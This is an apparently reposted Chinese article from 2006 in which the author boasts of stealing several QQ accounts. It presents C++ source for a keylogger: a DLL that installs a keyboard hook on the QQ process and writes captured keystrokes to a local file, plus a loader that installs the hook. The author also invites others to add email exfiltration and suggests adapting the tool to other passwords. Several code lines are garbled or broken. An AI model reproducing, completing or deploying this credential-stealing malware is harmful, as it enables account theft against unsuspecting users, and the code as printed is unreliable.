盗QQ,我也会

王朝vc·作者佚名  2006-01-17
窄屏简体版  字體: |||超大  

盗QQ,我也会

作者:LiJing

下载本文配套代码

这个程序我早就做好了(QQ也盗了好几个^_^),因为要考试,所以一直没机会投稿,现在暑假了,有大把的时间。这个程序有个缺点,就是邮件发送,我在网上找了好久,没一个如意的,如果有能做补充,那最好不过了。

程序分两部分:

一:DLL部分,这部分是一个钩子函数,是为了监视你的键盘输入,如果是输入QQ的,就记下你的数据(如果你要盗其他密码,不很容易吗?)

BOOL DllExport b_Focus()

{

HWND hWnd;

GUITHREADINFO* Info = new GUITHREADINFO;

Info-cbSize = sizeof(GUITHREADINFO);

if(::GetGUIThreadInfo(NULL,Info) == 0)//当前线程的信息。

return FALSE;

hWnd = Info-hwndCaret;//那个闪动的光标的控件

if(hWnd == hcaretWnd)

{

return TRUE;

}

else

{

hcaretWnd = hWnd;

return FALSE;

}

}

LRESULT DllExport CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)

{

if(::GetCurrentProcessId() != GetQQ())

return CallNextHookEx(hkb, nCode, wParam, lParam );

HWND H_wnd = ::GetForegroundWindow();

char sTitle[255];

CString ss;

::SendMessage(H_wnd,WM_GETTEXT,255,(LPARAM)sTitle);

ss = sTitle;

int n = ss.Find("发送消息",0);

int m = ss.Find("聊天室",0);

if(m = 0 || n = 0)

return CallNextHookEx(hkb, nCode, wParam, lParam );

if(nCode == HC_ACTION && (lParam & 0xc000ffff) == 1)

{

CString sName;

BOOL b_Sft = ::GetAsyncKeyState(VK_SHIFT) ((sizeof(short) * 8)-1)如果shift按下

if(b_Sft)

{

switch(wParam)

{

case ''1'':sName = "!";break;

case ''A'':sName = "A";break;

}

}

else

{

switch(wParam)

{

// 0~9

case ''1'':sName = "1";break;

...

// A~Z

case ''A'':sName = "a";break;

...

}

}

//数字键

switch(wParam)

{

case VK_BACK:sName = "~";break;

...

case VK_NUMPAD1:sName = "1";break;

...

}

//其他键的处理

char KeyName[50];

ZeroMemory(KeyName,50);

GetKeyNameText(lParam,KeyName,50);

CString KeyNameStr=KeyName;

if(KeyNameStr=="`")

{

if(b_Sft)

sName = "~";

else

sName = "`";

}

m_pfile.Open("D:\\ww.txt",CFile::modeWrite);

m_pfile.SeekToEnd();

if(!b_Focus())

{

CString ss = "\r\n";

m_pfile.Write(ss,ss.GetLength());

}

m_pfile.Write(sName, sName.GetLength());

m_pfile.Close();

}

LRESULT RetVal = CallNextHookEx(hkb, nCode, wParam, lParam );

return RetVal;

}

具体的请看源代码

二:exe部分,这部分就是加载dll文件,很简单。static HINSTANCE hinstDLL;

typedef void (CALLBACK *inshook)();//定义回调函数的地址

inshook instkbhook;

if(hinstDLL=LoadLibrary((LPCTSTR)"test3.dll"))

{

instkbhook=(inshook)GetProcAddress(hinstDLL, "installhook");

instkbhook();

}

(完)

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航